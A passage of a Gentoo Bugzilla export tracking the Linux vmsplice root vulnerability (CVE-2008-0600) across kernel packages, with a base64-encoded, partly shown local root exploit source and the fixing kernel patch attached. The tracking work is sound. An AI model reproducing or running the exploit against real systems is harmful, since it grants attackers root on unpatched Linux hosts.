            <thetext>vserver-sources-2.2.0.6 stable, vulnerable versions removed, devel branch 2.3 is not fixed yet but masked anyway for testing</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>kerframil@gmail.com</who>
            <bug_when>2008-02-20 12:17:04 0000</bug_when>
            <thetext>Adding a reference to CVE-2008-0600 to the summary. I have no idea why it wasn&apos;t there before but it should be.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>pva@gentoo.org</who>
            <bug_when>2008-03-19 11:28:59 0000</bug_when>
            <thetext>hppa, seems that your kernel is still affected by this bug. Please check this bug, to avoid release with this flaw. Thank you.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jer@gentoo.org</who>
            <bug_when>2008-03-20 03:58:35 0000</bug_when>
            <thetext>(In reply to comment #43)
&gt; hppa, seems that your kernel is still affected by this bug. Please check this
&gt; bug, to avoid release with this flaw. Thank you.

If you mean hppa-sources, that&apos;s package.masked in accordance with bug #202391.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>pva@gentoo.org</who>
            <bug_when>2008-03-20 08:43:14 0000</bug_when>
            <thetext>Ah, I see. Thank you Jeroen. UnCC&apos;ing hppa.

Then seems that the only affected kernels remain are: 
cell-sources, mips-sources, usermode-sources.

CC&apos;ing maintainers: please check your kernels. I think it&apos;s worth to have this this bug fixed even if kernels are security unsupported/unstable...  Thank you in advance.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>lu_zero@gentoo.org</who>
            <bug_when>2008-03-20 09:44:32 0000</bug_when>
            <thetext>cell sources could be p.masked since .24 has most of the code needed to get a bootable ps3/cell system and I still prefer tracking the git branch.

If the other people in the team want I could try to get a .25 snapshot.

</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>mpagano@gentoo.org</who>
            <bug_when>2008-03-20 14:36:54 0000</bug_when>
            <thetext>(In reply to comment #46)
&gt; If the other people in the team want I could try to get a .25 snapshot.
&gt; 

IMHO, less kernels to maintain (and track bugs in) is better than more. If you think 2.6.24 contains enough support for cell, I would be for masking this,


</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>lu_zero@gentoo.org</who>
            <bug_when>2008-03-24 02:04:41 0000</bug_when>
            <thetext>I added an updated .24.3+cell/ps3 related improvement, that should solve the issue for cell-sources.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>pva@gentoo.org</who>
            <bug_when>2008-06-20 19:33:44 0000</bug_when>
            <thetext>cell-sources and usermode-sources are not so important for release. So we are done with this bug.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>hollow@gentoo.org</who>
            <bug_when>2009-01-10 21:37:27 0000</bug_when>
            <thetext>there are no more vulnerable versions of vserver-sources</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>pva@gentoo.org</who>
            <bug_when>2009-03-03 08:00:13 0000</bug_when>
            <thetext>For a long time, recent mips sources have this issues fixed ...</thetext>
          </long_desc>
      
          <attachment
              isobsolete="0"
              ispatch="0"
              isprivate="0"
          >
            <attachid>143059</attachid>
            <date>2008-02-09 22:11 0000</date>
            <desc>Linux vmsplice Local Root Exploit</desc>
            <filename>linux_vmsplice.c</filename>
            <type>text/plain</type>
            <data encoding="base64">LyoKICogamVzc2ljYV9iaWVsX25ha2VkX2luX215X2JlZC5jCiAqCiAqIERvdmFsaW0geiBrbmFq
cHkgYSBjdW1pbSB6ZSBXb2p0YSB6YXMgbmVtYSBjbyByb2JpdCwga3VyYS4KICogR2l6ZGksIHR1
dGFqIG1hdGUgY29zeWsgbmEgaHJhbmksIGt5bSBhaiB0b3RvayB2eWtlY2EuCiAqIFN0ZWpuYWsg
amUgdG8gc3RhcmUgamFrIGN5cCBhIGFqIGpha2VzeWsgcm96Yml0ZS4KICoKICogTGludXggdm1z
cGxpY2UgTG9jYWwgUm9vdCBFeHBsb2l0CiAqIEJ5IHFhYXoKICoKICogTGludXggMi42LjE3IC0g
Mi42LjI0LjEKICoKICogVGhpcyBpcyBxdWl0ZSBvbGQgY29kZSBhbmQgSSBoYWQgdG8gcmV3cml0
ZSBpdCB0byBldmVuIGNvbXBpbGUuCiAqIEl0IHNob3VsZCB3b3JrIHdlbGwsIGJ1dCBJIGRvbid0
IHJlbWViZXIgb3JpZ2luYWwgaW50ZW50IG9mIGFsbAogKiB0aGUgY29kZSwgc28gSSdtIG5vdCAx
MDAlIHN1cmUgYWJvdXQgaXQuIFlvdSd2ZSBiZWVuIHdhcm5lZCA7KQogKiAKICogLXN0YXRpYyAt
V25vLWZvcm1hdCAgCiAqLwojZGVmaW5lIF9HTlVfU09VUkNFCiNpbmNsdWRlIDxzdGRpby5oPgoj
aW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8c3RyaW5nLmg+
CiNpbmNsdWRlIDxtYWxsb2MuaD4KI2luY2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tc3BsaWNlIiwgZXJybm8pOwoJcmV0dXJuIDA7Cn0K
</data>        

          </attachment>
          <attachment
              isobsolete="0"
              ispatch="1"
              isprivate="0"
          >
            <attachid>143165</attachid>
            <date>2008-02-10 21:59 0000</date>
            <desc>splice.patch</desc>
            <filename>splice.patch</filename>
            <type>text/plain</type>
            <data encoding="base64">LS0tIGZzL3NwbGljZS5jLm9sZAkyMDA4LTAyLTEwIDE0OjQ3OjExLjAwMDAwMDAwMCAtMDcwMAor
KysgZnMvc3BsaWNlLmMJMjAwOC0wMi0xMCAxNDo0Nzo1My4wMDAwMDAwMDAgLTA3MDAKQEAgLTEx
ODIsNiArMTE4Miw5IEBACiAJCWlmICh1bmxpa2VseSghYmFzZSkpCiAJCQlicmVhazsKIAorCQlp
ZiAodW5saWtlbHkoIWFjY2Vzc19vayhWRVJJRllfUkVBRCwgYmFzZSwgbGVuKSkpCisJCQlicmVh
azsKKwogCQkvKgogCQkgKiBHZXQgdGhpcyBiYXNlIG9mZnNldCBhbmQgbnVtYmVyIG9mIHBhZ2Vz
LCB0aGVuIG1hcAogCQkgKiBpbiB0aGUgdXNlciBwYWdlcy4K
</data>        

          </attachment>
    </bug>

</bugzilla>